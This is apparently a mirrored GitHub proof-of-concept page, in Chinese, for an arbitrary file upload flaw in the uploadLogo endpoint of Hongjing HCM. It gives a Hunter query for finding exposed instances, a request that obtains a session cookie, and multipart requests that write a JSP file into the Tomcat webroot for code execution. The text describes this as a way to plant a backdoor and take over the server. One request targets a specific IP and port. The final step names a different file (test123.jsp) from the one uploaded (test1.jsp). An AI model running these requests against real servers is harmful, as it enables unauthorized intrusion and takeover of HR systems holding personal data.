mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-11-05 02:15:30 +00:00
90 lines
2.7 KiB
Markdown
90 lines
2.7 KiB
Markdown
|
# 宏景人力资源信息管理系统uploadLogo存在任意文件上传漏洞
|
|||
|
|
宏景人力资源信息管理系统uploadLogo存在任意文件上传漏洞，可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个 web 服务器。
|
|||
|
|
|
|||
|
|
## hunter
|
|||
|
|
```javascript
|
|||
|
|
app.name="宏景 HCM"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## poc
|
|||
|
|
1、获取cookie
|
|||
|
|
|
|||
|
|
```java
|
|||
|
|
GET /module/system/qrcard/mobilewrite/qrcardmain.jsp HTTP/1.1
|
|||
|
|
Host:
|
|||
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
2、获取上传路径
|
|||
|
|
|
|||
|
|
```java
|
|||
|
|
POST /sys/cms/uploadLogo.do?b_upload=upload&isClose=2&type=1 HTTP/1.1
|
|||
|
|
Host:
|
|||
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
|
|||
|
|
Cookie: JSESSIONID=3199B98D03F1834F83CDAF45EA079D13
|
|||
|
|
Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryfjKBvGWJbG07Z02r
|
|||
|
|
|
|||
|
|
------WebKitFormBoundaryfjKBvGWJbG07Z02r
|
|||
|
|
Content-Disposition: form-data; name="path"
|
|||
|
|
|
|||
|
|
|
|||
|
|
------WebKitFormBoundaryfjKBvGWJbG07Z02r
|
|||
|
|
Content-Disposition: form-data; name="lfType"
|
|||
|
|
|
|||
|
|
0
|
|||
|
|
------WebKitFormBoundaryfjKBvGWJbG07Z02r
|
|||
|
|
Content-Disposition: form-data; name="logofile"; filename=""
|
|||
|
|
Content-Type: image/gif
|
|||
|
|
|
|||
|
|
<%= "bttest1" %>
|
|||
|
|
------WebKitFormBoundaryfjKBvGWJbG07Z02r
|
|||
|
|
Content-Disposition: form-data; name="twoFile"; filename=""
|
|||
|
|
Content-Type: image/gif
|
|||
|
|
|
|||
|
|
<%= "bttest1" %>
|
|||
|
|
------WebKitFormBoundaryfjKBvGWJbG07Z02r--
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
3、文件上传
|
|||
|
|
|
|||
|
|
```java
|
|||
|
|
POST /sys/cms/uploadLogo.do?b_upload=upload&isClose=2&type=1 HTTP/1.1
|
|||
|
|
Host: 8.137.169.49:7000
|
|||
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
|
|||
|
|
Cookie: JSESSIONID=163CC9FFC3CAAEAFCF07F29B294E99F0
|
|||
|
|
Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryfjKBvGWJbG07Z02r
|
|||
|
|
|
|||
|
|
------WebKitFormBoundaryfjKBvGWJbG07Z02r
|
|||
|
|
Content-Disposition: form-data; name="path"
|
|||
|
|
|
|||
|
|
D~3a~5cTomcat~39~5cwebapps~5cROOT~5ctest1.jsp
|
|||
|
|
------WebKitFormBoundaryfjKBvGWJbG07Z02r
|
|||
|
|
Content-Disposition: form-data; name="lfType"
|
|||
|
|
|
|||
|
|
0
|
|||
|
|
------WebKitFormBoundaryfjKBvGWJbG07Z02r
|
|||
|
|
Content-Disposition: form-data; name="logofile"; filename=""
|
|||
|
|
Content-Type: image/gif
|
|||
|
|
|
|||
|
|
<%= "bttest1" %>
|
|||
|
|
------WebKitFormBoundaryfjKBvGWJbG07Z02r
|
|||
|
|
Content-Disposition: form-data; name="twoFile"; filename=""
|
|||
|
|
Content-Type: image/gif
|
|||
|
|
|
|||
|
|
<%= "bttest1" %>
|
|||
|
|
------WebKitFormBoundaryfjKBvGWJbG07Z02r--
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
4、访问/test123.jsp
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|